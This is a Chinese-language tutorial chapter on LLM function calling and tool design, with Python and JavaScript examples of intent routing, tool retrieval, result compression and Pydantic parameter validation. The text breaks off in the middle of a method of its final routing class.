Function Calling 与工具设计

📅 发布于 2026-07-06

从单次调用到智能路由——工具系统的工程实践

这章最重要的不是工具多，而是闭环完整

很多人学工具调用时，会急着堆很多 API、很多 Skill。其实真正的最小闭环只有四步：用户提问 → 模型判断要不要用工具 → 框架执行工具 → 模型基于结果回答。

只要你把这个闭环理解透了，后面的工具路由、Skill 分层、并发控制都只是工程强化。反过来，如果这个闭环都没跑顺，就不该继续往系统设计上堆复杂度。

6.1 LLM 的能力边界

LLM 再强大，也有硬伤：

LLM 做不到的事

• 获取实时信息（天气、新闻、股价）
• 执行代码和数学计算
• 读写文件和数据库
• 发送消息和调用外部服务
• 访问互联网

工具让 Agent 做到的事

• 搜索引擎获取实时信息
• Python 沙箱执行代码
• 文件系统和数据库操作
• 发邮件、调 API、发消息
• 网页爬取和自动化操作

LLM 是大脑，工具是手脚。没有工具的 Agent 就像一个瘫痪的天才——什么都懂，但什么都做不了。

6.2 工具调用的三代演进

第一代：Prompt 工程（2022-2023）：在 System Prompt 中描述工具格式，让 LLM 输出特定格式的文本（如 "Action: search(query)"），框架再解析执行。代表：ReAct 原始论文、LangChain Agent。问题：格式不稳定，LLM 可能输出错误格式导致解析失败。

第二代：Function Calling（2023+）：OpenAI 在 GPT-4 中原生支持 Function Calling。传入工具的 JSON Schema，LLM 直接输出结构化的函数调用。格式可靠，支持并行调用。随后 Claude、Gemini 等模型纷纷跟进，成为行业标准。

第三代：MCP 协议（2024+）：Anthropic 推出 MCP（Model Context Protocol），标准化了工具的定义、发现和调用。一个 MCP Server 可被任何支持 MCP 的框架使用。工具从"框架私有"变为"生态共享"。

6.3 Function Calling 详解

Function Calling 是目前工具调用的主流方式。来看完整的调用流程：

Function Calling 完整流程：

用户请求 → LLM 分析 + 工具选择 → 需要工具? (是/否)

• 是 → 输出函数调用 {name, arguments} → 框架执行实际函数 → 结果回传 → LLM 整合结果生成回答 → 返回用户
• 否，直接回答 → 返回用户

工具定义：JSON Schema

// 定义工具
const tools = [
  {
    type: "function",
    function: {
      name: "get_weather",
      description: "获取指定城市的天气信息",
      parameters: {
        type: "object",
        properties: {
          city: {
            type: "string",
            description: "城市名称，如：北京、上海"
          },
          date: {
            type: "string",
            description: "日期，格式 YYYY-MM-DD，默认今天"
          }
        },
        required: ["city"]
      }
    }
  },
  {
    type: "function",
    function: {
      name: "run_python",
      description: "执行 Python 代码并返回输出",
      parameters: {
        type: "object",
        properties: {
          code: {
            type: "string",
            description: "要执行的 Python 代码"
          }
        },
        required: ["code"]
      }
    }
  }
];

// 调用 LLM
const response = await openai.chat.completions.create({
  model: "gpt-4o",
  messages: [{ role: "user", content: "北京明天天气怎么样？" }],
  tools: tools  // 传入工具定义
});

// LLM 返回函数调用
const toolCall = response.choices[0].message.tool_calls[0];
// { name: "get_weather", arguments: '{"city":"北京","date":"2026-07-02"}' }

// 执行实际函数
const result = await getWeather("北京", "2026-07-02");

// 结果回传 LLM 生成自然语言回答
const finalResponse = await openai.chat.completions.create({
  model: "gpt-4o",
  messages: [
    { role: "user", content: "北京明天天气怎么样？" },
    response.choices[0].message,
    { role: "tool", tool_call_id: toolCall.id, content: JSON.stringify(result) }
  ]
});

6.4 工具分类体系

信息获取

• Web 搜索（Google/Bing API）
• 天气查询
• 新闻聚合
• 知识库检索（RAG）
• 数据库查询

代码执行

• Python REPL（沙箱）
• Shell 命令执行
• SQL 执行器
• JavaScript 运行时
• Jupyter Notebook

文件操作

• 读写文件
• 创建/删除目录
• 文件搜索
• PDF/Word/Excel 解析
• 文件格式转换

通信交互

• 发送邮件
• HTTP 请求
• Webhook 调用
• 消息推送（Slack/Discord）
• 浏览器自动化

关于 Skills（工具的组合与复用） Function Calling 是单次工具调用的基础。但当 Agent 需要组合多个工具、形成可复用的能力包时，就进入了 Skills 的领域——Skill 的定义、三层结构、匹配与路由、分层体系、沉淀机制等完整内容，请参见第8章「Skills：工具的组合与复用」。

本章接下来的内容聚焦于工具调用的工程实践：意图识别与工具路由（6.10）、上下文工程与工具管理（6.11）、消息压缩（6.12）、Structured Output（6.13）、实战路由系统（6.14）、并发控制与弱模型兼容（6.15）。

6.10 意图识别与工具路由

用户说"帮我查下北京天气"，Agent 需要先理解用户到底想做什么，才能选到正确的工具。这就是意图识别——工具路由的"大脑"。

意图分类体系

信息获取意图 用户想知道某件事。关键词：查、看、了解、搜索、查询。

例："北京天气怎么样" → 搜索/天气API 例："最新的AI论文有哪些" → 搜索工具

代码执行意图 用户想运行代码做计算。关键词：算、运行、执行、分析、处理。

例："用Python画个饼图" → Python沙箱 例："计算这组数据的标准差" → 代码执行工具

文件操作意图 用户想读写操作文件。关键词：保存、读取、修改、创建、导出。

例："把结果保存为CSV" → 文件写入工具 例："读取这份PDF的内容" → PDF解析工具

通信交互意图 用户想发送消息或调用服务。关键词：发、通知、推送、提交、调用。

例："给张三发邮件" → 邮件工具 例："推送消息到Slack" → Slack API工具

隐式意图识别

用户不会总是明确说"我要搜索"或"我要执行代码"。很多请求是隐式的：

用户说	表面意思	隐式意图	应选工具
"帮我查下北京天气"	查询天气	信息获取	天气API / 搜索
"这个数据有什么规律"	分析数据	代码执行	Python沙箱
"把这个报告存下来"	保存文件	文件操作	文件写入
"提醒团队下午开会"	通知	通信交互	Slack / 邮件

意图识别的核心不是关键词匹配，而是理解用户想达成的目标。"查天气"和"外面冷不冷"表面完全不同，但意图相同。

复合意图拆解

很多用户请求包含多个意图，需要拆解后依次或并行执行：

复合意图拆解流程：

复合请求"帮我搜索并用Python分析数据" → 意图拆解 → 意图①信息获取 + 意图②代码执行 → 搜索工具 + Python沙箱(依赖①的结果) → 合并结果生成回答 → 返回用户

from enum import Enum
from dataclasses import dataclass
from typing import List

class IntentType(Enum):
    INFO_QUERY = "信息获取"      # 搜索、查询、获取
    CODE_EXEC = "代码执行"       # 计算、分析、运行
    FILE_OP = "文件操作"         # 读写、保存、导出
    COMM_INTERACT = "通信交互"   # 发送、通知、推送

@dataclass
class Intent:
    type: IntentType
    original_text: str        # 原始用户表述
    target: str               # 具体目标（如"北京天气"）
    priority: int = 0         # 执行优先级，0最高
    depends_on: List[str] = None  # 依赖的前置意图ID

# 意图分类器 —— 可用LLM或轻量模型实现
INTENT_KEYWORDS = {
    IntentType.INFO_QUERY: ["查", "看", "搜索", "查询", "了解", "什么", "多少", "怎样"],
    IntentType.CODE_EXEC:  ["算", "运行", "执行", "分析", "处理", "画", "计算", "统计"],
    IntentType.FILE_OP:    ["保存", "读取", "修改", "创建", "导出", "写入", "下载"],
    IntentType.COMM_INTERACT: ["发", "通知", "推送", "提交", "发送", "提醒", "转发"],
}

def classify_intent(user_input: str) -> List[Intent]:
    """识别意图，支持复合意图拆解"""
    intents = []
    
    # 简单关键词匹配 → 生产环境应替换为LLM意图分类
    # 复合请求检测：包含"并""然后""再"等连接词
    sub_requests = split_composite_request(user_input)
    
    for sub in sub_requests:
        matched_type = None
        for intent_type, keywords in INTENT_KEYWORDS.items():
            if any(kw in sub for kw in keywords):
                matched_type = intent_type
                break
        if matched_type:
            intents.append(Intent(
                type=matched_type,
                original_text=sub,
                target=extract_target(sub)
            ))
    
    # 设置依赖关系：后置意图可能依赖前置意图的结果
    for i in range(1, len(intents)):
        if intents[i].type == IntentType.CODE_EXEC and intents[i-1].type == IntentType.INFO_QUERY:
            intents[i].depends_on = [intents[i-1].original_text]
    
    return intents

def split_composite_request(text: str) -> List[str]:
    """拆解复合请求"""
    connectors = ["并", "然后", "再", "接着", "以及", "而且"]
    for conn in connectors:
        if conn in text:
            parts = text.split(conn, 1)
            return [p.strip() for p in parts if p.strip()]
    return [text]

def extract_target(text: str) -> str:
    """提取意图目标（简化版）"""
    # 去掉意图关键词，保留核心内容
    for keywords in INTENT_KEYWORDS.values():
        for kw in keywords:
            if kw in text:
                return text.replace(kw, "").strip()
    return text

# 意图 → 工具映射
INTENT_TOOL_MAP = {
    IntentType.INFO_QUERY: ["web_search", "weather_api", "news_api", "knowledge_base"],
    IntentType.CODE_EXEC:  ["python_executor", "sql_executor", "js_runtime"],
    IntentType.FILE_OP:    ["file_read", "file_write", "pdf_parser", "csv_handler"],
    IntentType.COMM_INTERACT: ["send_email", "slack_notify", "webhook_call"],
}

def route_to_tools(intents: List[Intent]) -> List[str]:
    """意图 → 工具名称映射"""
    candidate_tools = []
    for intent in intents:
        candidate_tools.extend(INTENT_TOOL_MAP.get(intent.type, []))
    return candidate_tools

# ===== 使用示例 =====
user_request = "帮我搜索最新的AI论文并用Python分析引用趋势"
intents = classify_intent(user_request)

for i, intent in enumerate(intents):
    print(f"意图{i+1}: {intent.type.value} | 目标: {intent.target}")
    if intent.depends_on:
        print(f"  ⚠️ 依赖前置结果: {intent.depends_on}")

# 输出:
# 意图1: 信息获取 | 目标: 最新的AI论文
# 意图2: 代码执行 | 目标: 分析引用趋势
#   ⚠️ 依赖前置结果: ['最新的AI论文']

tools = route_to_tools(intents)
print(f"候选工具: {tools}")
# 输出: 候选工具: ['web_search', 'weather_api', ..., 'python_executor', ...]

工具路由策略

路由策略决定了"选到工具后怎么处理"。主要策略有三种：

策略一：轮询式路由

最简单的方案，遍历所有候选工具逐个调用。

def polling_route(intents: List[Intent], available_tools: dict):
    """轮询式路由：遍历候选工具，找到第一个可用的"""
    results = []
    for intent in intents:
        candidates = INTENT_TOOL_MAP.get(intent.type, [])
        used_tool = None
        
        for tool_name in candidates:
            if tool_name in available_tools:
                tool_fn = available_tools[tool_name]
                try:
                    result = tool_fn(intent.target)
                    results.append(result)
                    used_tool = tool_name
                    break
                except Exception as e:
                    print(f"工具 {tool_name} 执行失败: {e}")
                    continue
        
        if used_tool is None:
            print(f"警告: 意图 '{intent.original_text}' 无可用工具")
    
    return results

策略二：LLM 智能路由

让 LLM 自己决定用哪个工具——最灵活的方式。

def llm_route(intents: List[Intent], llm):
    """LLM智能路由：让模型自己决定用哪个工具"""
    tools_def = [
        {
            "name": "web_search",
            "description": "搜索互联网获取最新信息",
            "parameters": {
                "query": {"type": "string", "description": "搜索关键词"}
            }
        },
        {
            "name": "python_executor",
            "description": "执行Python代码做计算或数据分析",
            "parameters": {
                "code": {"type": "string", "description": "Python代码"}
            }
        }
    ]
    
    response = llm.chat(
        messages=[{
            "role": "user",
            "content": f"用户意图: {[i.original_text for i in intents]}\n请选择合适的工具"
        }],
        tools=tools_def
    )
    
    return response.tool_calls

策略三：规则 + LLM 混合路由

兼顾效率和灵活性。用规则做第一层粗筛，LLM 做第二层精排。

def hybrid_route(intents: List[Intent], llm):
    """混合路由：规则粗筛 + LLM精排"""
    # 第一层：规则粗筛
    candidates = []
    for intent in intents:
        # 确定性意图直接匹配
        if "天气" in intent.original_text:
            candidates.append("weather_api")
        elif "搜索" in intent.original_text or "查" in intent.original_text:
            candidates.append("web_search")
        elif "算" in intent.original_text or "分析" in intent.original_text:
            candidates.append("python_executor")
        else:
            candidates.append("__need_llm__")
    
    # 第二层：LLM 处理模糊匹配
    if "__need_llm__" in candidates:
        # 让 LLM 决策
        pass
    
    return candidates

6.11 上下文工程与工具管理

一个 Agent 可能注册了 50 个工具。如果把所有工具描述一次性塞给 LLM，每次请求都要消耗数千 token 在工具描述上——而 LLM 实际只会用到 1~3 个。这就是上下文工程要解决的问题。

上下文工程的核心原则：给 LLM 刚好够用的信息，不多不少。过载的上下文和空白的上下文一样致命。

JIT Context 加载工具描述

**JIT（Just-In-Time）**策略：不一次性加载所有工具描述，只在需要时才动态加载相关的工具。

全量加载（传统方式）	JIT 加载（上下文工程）
每次请求传入全部50个工具	按意图只加载相关3~5个工具
工具描述 ≈ 5000 tokens	工具描述 ≈ 300 tokens
LLM 需遍历所有工具描述	LLM 聚焦于少量候选工具
准确率随工具数增多而下降	准确率更高，响应更快
❌ 浪费 token + 干扰选择	✅ 精准 + 高效

Tool RAG：工具检索策略

与文档 RAG 类似，Tool RAG 把工具描述做 embedding 存入向量库，请求来时检索最相关的 Top-K：

import numpy as np
from typing import List, Dict

class ToolRAG:
    """工具描述的向量检索系统"""
    
    def __init__(self, embedding_model, tools: List[Dict]):
        self.embedding_model = embedding_model
        self.tools = tools
        # 将工具描述做 embedding
        self.tool_embeddings = []
        self.tool_texts = []
        for tool in tools:
            desc = self._build_search_text(tool)
            emb = embedding_model.encode(desc)
            self.tool_embeddings.append(emb)
            self.tool_texts.append(desc)
        self.tool_embeddings = np.array(self.tool_embeddings)
    
    def _build_search_text(self, tool: Dict) -> str:
        """构建工具的可搜索文本：名称+描述+参数摘要"""
        func = tool["function"]
        text = f"{func['name']}: {func['description']}"
        if "parameters" in func:
            props = func["parameters"].get("properties", {})
            for pname, pinfo in props.items():
                text += f" | 参数{pname}({pinfo.get('type','')}): {pinfo.get('description','')}"
        return text
    
    def retrieve(self, user_query: str, top_k: int = 5) -> List[Dict]:
        """根据用户请求检索最相关的 Top-K 工具"""
        query_emb = self.embedding_model.encode(user_query)
        # cosine 相似度
        similarities = np.dot(self.tool_embeddings, query_emb) / \
            (np.linalg.norm(self.tool_embeddings, axis=1) * np.linalg.norm(query_emb))
        top_indices = np.argsort(similarities)[-top_k:][::-1]
        return [self.tools[i] for i in top_indices]

# ===== 使用示例 =====
tool_rag = ToolRAG(embedding_model=my_encoder, tools=all_50_tools)

# 用户请求来了
user_query = "帮我查下北京明天的天气"
relevant_tools = tool_rag.retrieve(user_query, top_k=3)
# 返回: [get_weather, web_search, news_api]

# 只把相关工具传给 LLM
response = openai.chat.completions.create(
    model="gpt-4o",
    messages=[{"role": "user", "content": user_query}],
    tools=relevant_tools  # ← 只传3个，而非全部50个
)

工具描述优化：高信号低噪声

工具描述是 LLM 理解工具的唯一窗口。写得好，LLM 精准选择；写得差，LLM 频繁误选。

维度	❌ 噪声描述（低信号）	✅ 信号描述（高信号）
名称	do_stuff 模糊，无法区分	get_weather_by_city 动词+对象，一目了然
描述	"一个工具，可以做很多事情，包括但不限于天气查询和新闻获取" 冗长，主次不分	"获取指定城市的实时天气数据，包括温度、湿度、风速" 精准，覆盖关键输出
参数	query: string 无类型约束，无说明	city: string (城市名，如北京/上海) date: string (YYYY-MM-DD格式) 有示例，有格式约束
边界	不说明限制 LLM可能越界调用	"仅支持中国城市，不支持海外" 明确边界，避免误用

Token 消耗对比：全量 vs JIT vs 路由

策略	传入工具数	描述Token	选择准确率	适用规模	额外延迟
全量传入	50 个	~5000	65%	≤20 工具	0ms
JIT + RAG	3~5 个	~300	85%	20~100	~50ms
路由分层	3~5 个/层	~300	90%	100+	~100ms

关键洞察：全量传入 5000 token 的工具描述中，只有 ~300 token 与当前请求相关。剩下的 4700 token 是噪声——不仅浪费钱，还降低准确率。JIT 和路由策略把有效信号密度从 6% 提升到接近 100%。

6.12 消息压缩与工具调用链

多轮工具调用会产生Context 膨胀问题。一次搜索返回 2000 token，执行代码又返回 1500 token，3轮调用后 Context 就膨胀了上万 token——而 LLM 的有效注意力在超长 Context 中会显著衰减。

Context 膨胀的恶性循环

• 用户请求：~100 tokens 基准
• 工具调用①：+2000 tokens（搜索结果）膨胀
• 工具调用②：+1500 tokens（代码输出）膨胀
• 工具调用③：+3000 tokens（文件内容）严重膨胀
• 总 Context：~6600 tokens 原始请求只占 1.5%

工具结果压缩策略

解决方案的核心思路：保留关键信息，压缩冗余输出。

策略①：摘要替代原始结果 — 不把工具的原始输出放入 Context，而是让 LLM 生成一段摘要。搜索返回 2000 token 的网页内容 → 摘要后 200 token。

策略②：选择性保留关键输出 — 只保留与当前任务相关的字段。天气 API 返回 20 个字段，用户只问温度 → 只保留温度和体感描述，丢弃湿度、气压等。

策略③：向量库归档详细结果 — 完整结果存入向量数据库或内存系统，Context 中只保留摘要和引用ID。后续需要细节时，通过引用ID从向量库精确检索。

import json
from typing import Dict, Any, List

class ToolResultCompressor:
    """多策略工具结果压缩器"""
    
    # 按工具类型定义需要保留的关键字段
    KEY_FIELDS_MAP = {
        "get_weather": ["temperature", "description", "wind_speed"],
        "web_search":  ["title", "snippet", "url"],  # 丢弃正文
        "run_python":  ["stdout"],                     # 丢弃 stderr 和执行日志
        "file_read":   ["content_preview"],            # 只保留前500字符
        "sql_query":   ["rows_summary"],               # 只保留行数统计和前5行
    }
    
    # 每个工具的最大保留 token 数
    MAX_TOKENS_MAP = {
        "get_weather": 200,
        "web_search":  300,
        "run_python":  400,
        "file_read":   500,
        "sql_query":   300,
    }
    
    def compress(self, tool_name: str, result: Dict[str, Any]) -> Dict[str, Any]:
        """压缩工具结果：选择性保留 + 截断"""
        compressed = {}
        
        # 策略②：选择性保留关键字段
        key_fields = self.KEY_FIELDS_MAP.get(tool_name, [])
        if key_fields:
            for field in key_fields:
                if field in result:
                    compressed[field] = self._truncate(
                        result[field],
                        self.MAX_TOKENS_MAP.get(tool_name, 500)
                    )
        else:
            # 无预定义字段 → 全量截断
            compressed = self._truncate_dict(result, self.MAX_TOKENS_MAP.get(tool_name, 500))
        
        # 添加压缩元信息
        compressed["_meta"] = {
            "tool": tool_name,
            "original_tokens": self._estimate_tokens(result),
            "compressed_tokens": self._estimate_tokens(compressed),
            "compression_ratio": round(
                self._estimate_tokens(compressed) / max(self._estimate_tokens(result), 1), 2
            )
        }
        return compressed
    
    def summarize_result(self, tool_name: str, result: Dict[str, Any], llm_client) -> str:
        """策略①：让 LLM 生成摘要替代原始结果"""
        original_text = json.dumps(result, ensure_ascii=False)
        prompt = f"""请用2~3句话总结以下工具调用结果的关键信息。
工具: {tool_name}
结果: {original_text}
只保留与用户任务最相关的信息，省略细节。"""
        
        summary = llm_client.chat(prompt)
        return summary
    
    def archive_to_vector_store(self, tool_name: str, result: Dict[str, Any], 
                                 vector_store, ref_id: str) -> str:
        """策略③：完整结果归档到向量库，Context只保留引用"""
        vector_store.store(ref_id, {
            "tool": tool_name,
            "result": result,
            "timestamp": datetime.now().isoformat()
        })
        # Context 中只放摘要 + 引用ID
        return f"[{tool_name}结果已归档 | ref={ref_id} | 如需详情可检索]"
    
    def _truncate(self, text: str, max_tokens: int) -> str:
        """粗略截断（1 token ≈ 1.5 中文字 / 4 英文词）"""
        max_chars = max_tokens * 2  # 保守估计
        if len(str(text)) > max_chars:
            return str(text)[:max_chars] + "...[已截断]"
        return text
    
    def _truncate_dict(self, d: Dict, max_tokens: int) -> Dict:
        """递归截断字典"""
        result = {}
        remaining = max_tokens * 2
        for k, v in d.items():
            entry = json.dumps({k: v}, ensure_ascii=False)
            if len(entry) > remaining:
                result[k] = str(v)[:remaining] + "...[截断]"
                break
            result[k] = v
            remaining -= len(entry)
        return result
    
    def _estimate_tokens(self, obj: Any) -> int:
        """粗略估算 token 数"""
        text = json.dumps(obj, ensure_ascii=False)
        # 中文约 1.5 字/token，英文约 4 字符/token
        return len(text) // 2

# ===== 使用示例 =====
compressor = ToolResultCompressor()

# 天气工具返回了20个字段，原始2000 tokens
weather_result = {
    "temperature": 28, "feels_like": 30, "humidity": 65,
    "pressure": 1013, "visibility": 10, "wind_speed": 3.2,
    "wind_dir": "NE", "cloud_cover": 40, "uv_index": 6,
    "description": "晴间多云", "dew_point": 18,
    "sunrise": "05:30", "sunset": "19:45",
}

# 压缩后只保留3个关键字段 ≈ 150 tokens
compressed = compressor.compress("get_weather", weather_result)
print(f"原始: {compressed['_meta']['original_tokens']} tokens")
print(f"压缩: {compressed['_meta']['compressed_tokens']} tokens")
print(f"压缩率: {compressed['_meta']['compression_ratio']}")
# 输出: 原始: 2000 tokens | 压缩: 150 tokens | 压缩率: 0.075

好的 Agent 不是把所有信息都塞进 Context，而是像人类一样——记要点，存细节。要点放 Context（短期记忆），细节放向量库（长期记忆）。

6.13 Structured Output 与工具调用

Function Calling 天然就是 Structured Output——LLM 输出 JSON 格式的函数调用。但实际场景中，我们还需要对输出做更严格的约束：参数类型校验、必填检查、格式验证。

Pydantic 验证工具参数

LLM 生成的参数可能出错：city 传了数字、date 格式不对、缺少必填参数。用 Pydantic 可以在执行前拦截这些错误：

from pydantic import BaseModel, Field, ValidationError
from typing import Optional
from datetime import datetime

# ===== 工具参数的 Pydantic 模型 =====

class WeatherParams(BaseModel):
    city: str = Field(..., description="城市名称", min_length=1, max_length=50)
    date: Optional[str] = Field(
        None, 
        description="日期，格式 YYYY-MM-DD",
        pattern=r"^\d{4}-\d{2}-\d{2}$"  # 正则约束格式
    )

class PythonExecParams(BaseModel):
    code: str = Field(..., description="Python代码", min_length=1)
    timeout: Optional[int] = Field(30, description="超时秒数", ge=1, le=300)

class SearchParams(BaseModel):
    query: str = Field(..., description="搜索关键词", min_length=1, max_length=200)
    max_results: Optional[int] = Field(5, description="最大结果数", ge=1, le=20)

# ===== 验证 + 错误处理 + 重提示 =====

class StructuredToolCaller:
    """结构化工具调用：验证 → 执行 → 重试"""
    
    PARAM_MODELS = {
        "get_weather": WeatherParams,
        "run_python": PythonExecParams,
        "web_search": SearchParams,
    }
    
    MAX_RETRIES = 2
    
    def call_tool(self, tool_name: str, raw_arguments: str, 
                  llm_client, tool_executor) -> dict:
        """完整的结构化调用流程"""
        
        for attempt in range(self.MAX_RETRIES + 1):
            # ① 尝试解析和验证参数
            try:
                args_dict = json.loads(raw_arguments)
                validated = self.PARAM_MODELS[tool_name](**args_dict)
                # 验证通过 → 执行
                result = tool_executor(tool_name, validated.model_dump())
                return {"success": True, "result": result}
                
            except json.JSONDecodeError as e:
                error_msg = f"参数JSON格式错误: {e}"
            except ValidationError as e:
                # ② Pydantic 校验失败 → 收集具体错误
                error_msg = self._format_validation_error(e)
            
            # ③ 校验失败 → 重提示 LLM 修正参数
            if attempt < self.MAX_RETRIES:
                print(f"参数校验失败（第{attempt+1}次）: {error_msg}")
                correction_prompt = f"""你上一次调用工具 {tool_name} 的参数有错误：
{error_msg}
请重新生成正确的函数调用参数。注意遵守以下约束：
{self._get_constraints(tool_name)}"""
                raw_arguments = llm_client.chat(correction_prompt)
            else:
                # 超过重试次数 → 返回错误
                return {"success": False, "error": error_msg}
    
    def _format_validation_error(self, e: ValidationError) -> str:
        """将 Pydantic 错误格式化为 LLM 可理解的提示"""
        errors = []
        for err in e.errors():
            field = ".".join(str(loc) for loc in err["loc"])
            errors.append(f"字段 '{field}': {err['msg']} (当前值: {err.get('input', '未提供')})")
        return "\n".join(errors)
    
    def _get_constraints(self, tool_name: str) -> str:
        """返回工具的参数约束描述（给 LLM 的修正指引）"""
        model = self.PARAM_MODELS[tool_name]
        constraints = []
        for name, field in model.model_fields.items():
            desc = field.description or ""
            if field.is_required():
                desc += " [必填]"
            constraints.append(f"  {name} ({field.annotation}): {desc}")
        return "\n".join(constraints)

# ===== 使用示例 =====

caller = StructuredToolCaller()

# LLM 生成了错误参数: city 传了空字符串，date 格式不对
raw_args = '{"city": "", "date": "2026/07/02"}'

result = caller.call_tool("get_weather", raw_args, llm_client, weather_executor)

# 第1次: Pydantic 校验失败
#   参数校验失败（第1次）: 
#   字段 'city': String should have at least 1 character (当前值: )
#   字段 'date': String should match pattern ^\d{4}-\d{2}-\d{2}$ (当前值: 2026/07/02)
# → 重提示 LLM → LLM 修正为 '{"city": "北京", "date": "2026-07-02"}'
# 第2次: 验证通过 → 执行成功

输出格式约束技巧

强制结构化输出的5种技巧

① JSON Schema 约束 — Function Calling 自带的 JSON Schema 描述参数类型。最基础也是最有效的约束。

② Pydantic 双重验证 — LLM 输出 → JSON Schema 格式校验 → Pydantic 语义校验（正则、范围、必填）。两层过滤，几乎杜绝格式错误。

③ 参数枚举约束 — 对有限选项的参数使用 enum。如单位参数只允许 ["metric", "imperial"]，LLM 不会输出奇怪值。

④ 错误重提示循环 — 校验失败时不直接报错，而是把具体错误信息反馈给 LLM，让它自行修正。最多重试 2~3 次，成功率极高。

⑤ 降级兜底 — 重试次数用尽后，用默认值填充缺失参数或跳过可选参数。不让一个格式错误导致整个 Agent 流程中断。

6.14 实战：构建智能工具路由系统

把 6.10~6.13 的概念串起来，构建一个完整的意图识别 → 工具检索 → 工具调用 → 结果压缩 → 结构化验证全链路 Agent。

流程：用户请求 → 意图识别(分类+拆解) → Tool RAG(检索候选工具) → LLM 选择(具体工具+参数) → Pydantic 参数验证 → (验证通过)执行工具函数 → 结果压缩(摘要+归档) → LLM 生成自然语言回答 → 返回用户；(验证失败) → 重提示LLM修正参数 → 修正后重选 → LLM 选择

"""
SmartToolRouter: 意图识别 → 工具检索 → 参数验证 → 执行 → 结果压缩 全链路
"""
import json
import uuid
from typing import List, Dict, Any, Optional
from enum import Enum
from pydantic import BaseModel, ValidationError

# ===== 6.10 意图识别 =====

class IntentType(Enum):
    INFO_QUERY = "信息获取"
    CODE_EXEC = "代码执行"
    FILE_OP = "文件操作"
    COMM_INTERACT = "通信交互"

class Intent(BaseModel):
    type: IntentType
    text: str
    target: str
    priority: int = 0
    depends_on: Optional[List[str]] = None

class IntentClassifier:
    """意图分类器 — 使用 LLM 做意图识别"""
    
    INTENT_PROMPT = """分析以下用户请求的意图，返回JSON：
请求: "{query}"
请识别：
1. 意图类型: 信息获取/代码执行/文件操作/通信交互
2. 具体目标: 用户想要什么
3. 是否包含多个意图(复合请求)，如有则拆解

返回格式:
{"intents": [{"type": "类型", "text": "原文片段", "target": "目标", "priority": 优先级数字}]}
如果意图间有依赖关系，在depends_on中指明前置意图的target。"""

    def classify(self, query: str, llm_client) -> List[Intent]:
        prompt = self.INTENT_PROMPT.format(query=query)
        response = llm_client.chat(prompt)
        parsed = json.loads(response)
        intents = [Intent(**i) for i in parsed["intents"]]
        return intents

# ===== 6.11 Tool RAG =====

class ToolRAG:
    """向量检索工具描述"""
    
    def __init__(self, vector_store, all_tools: List[Dict]):
        self.vector_store = vector_store
        self.all_tools = all_tools
        # 注册所有工具描述到向量库
        for tool in all_tools:
            text = self._tool_to_text(tool)
            self.vector_store.upsert(tool["function"]["name"], text)
    
    def _tool_to_text(self, tool: Dict) -> str:
        f = tool["function"]
        text = f"{f['name']}: {f['description']}"
        for pname, pinfo in f.get("parameters", {}).get("properties", {}).items():
            text += f" | {pname}({pinfo.get('type','')}): {pinfo.get('description','')}"
        return text
    
    def retrieve(self, query: str, top_k: int = 5) -> List[Dict]:
        """根据意图检索最相关的工具"""
        results = self.vector_store.search(query, top_k=top_k)
        tool_names = [r["id"] for r in results]
        return [t for t in self.all_tools if t["function"]["name"] in tool_names]

# ===== 6.13 结构化验证 =====

# 定义参数模型（按工具）
class WeatherParams(BaseModel):
    city: str
    date: Optional[str] = None

class SearchParams(BaseModel):
    query: str
    max_results: Optional[int] = 5

class PythonParams(BaseModel):
    code: str
    timeout: Optional[int] = 30

PARAM_MODELS = {
    "get_weather": WeatherParams,
    "web_search": SearchParams,
    "run_python": PythonParams,
}

# ===== 6.12 结果压缩 =====

class ResultCompressor:
    """工具结果压缩"""
    
    KEY_FIELDS = {
        "get_weather": ["temperature", "description", "wind_speed"],
        "web_search": ["title", "snippet", "url"],
        "run_python": ["stdout"],
    }
    MAX_CHARS = 500
    
    def compress(self, tool_name: str, result: Any) -> Dict:
        keys = self.KEY_FIELDS.get(tool_name, [])
        compressed = {}
        if isinstance(result, dict) and keys:
            for k in keys:
                if k in result:
                    val = str(result[k])
                    compressed[k] = val[:self.MAX_CHARS] if len(val) > self.MAX_CHARS else val
        else:
            compressed["summary"] = str(result)[:self.MAX_CHARS]
        compressed["_meta"] = {
            "tool": tool_name, 
            "ref_id": str(uuid.uuid4())  # 用于向量库归档引用
        }
        return compressed

# ===== 全链路路由 =====

class SmartToolRouter:
    """智能工具路由系统 — 全链路"""
    
    def __init__(self, llm_client, vector_store, all_tools, tool_executor):
        self.llm = llm_client
        self.intent_classifier = IntentClassifier()
        self.tool_rag = ToolRAG(vector_store, all_tools)
        self.result_compressor = ResultCompressor()
        self.tool_executor = tool_executor
        self.max_retries = 2
    
    def process(self, user_query: str) -> str:
        """完整处理流程"""
        
        # ① 意图识别
        intents = self.intent_classifier.classify(user_query, self.llm)
        print(f"[意图识别] 检测到 {len(intents)} 个意图:")
        for i, intent in enumerate(intents):
            print(f"  {i+1}. {intent.type.value} → {intent.target}")
        
        # ② 按意图检索候选工具
        all_relevant_tools = []
        for intent in intents:
            tools = self.tool_rag.retrieve(intent.target, top_k=3)
            all_relevant_tools.extend(tools)
        # 去重
        seen = set()
        unique_tools = []
        for t in all_relevant_tools:
            name = t["function"]["name"]
            if name not in seen:
                seen.add(name)
                unique_tools.append(t)
        
        print(f"[工具检索] 命中 {len(unique_tools)} 个候选工具: {[t['function']['name'] for t in unique_tools]}")
        
        # ③ 让 LLM 在候选工具中选择 + 生成参数
        # 只传候选工具描述（JIT策略），而非全部工具
        tool_call_results = []
        for intent in intents:
            # 按意图过滤最相关工具
            intent_tools = self.tool_rag.retrieve(intent.target, top_k=3)
            
            # LLM 选择工具和参数
            llm_response = self.llm.call_with_tools(
                messages=[{"role": "user", "content": intent.text}],
                tools=intent_tools
            )
            
            if not llm_response.tool_calls:
                # LLM 认为不需要工具 → 直接回答
                tool_call_results.append({
                    "intent": intent.type.value,
                    "direct_answer": llm_response.content
                })
                continue
            
            # ④ 结构化验证 + 执行 + 重试
            for tool_call in llm_response.tool_calls:
                result = self._execute_with_validation(
                    tool_call.function.name,
                    tool_call.function.arguments
                )
                
                # ⑤ 结果压缩
                compressed = self.result_compressor.compress(
                    tool_call.function.name, result
                )
                tool_call_results.append({
                    "intent": intent.type.value,
                    "tool": tool_call.function.name,
                    "result": compressed
                })
        
        # ⑥ LLM 整合所有结果，生成自然语言回答
        final_prompt = f"""用户原始请求: {user_query}
以下是为您收集的工具调用结果:
{json.dumps(tool_call_results, ensure_ascii=False)}
请整合这些结果，给用户一个清晰有用的回答。"""
        
        final_answer = self.llm.chat(final_prompt)
        return final_answer
    
    def _execute_with_validation(self, tool_name: str, raw_args: str) -> Any:
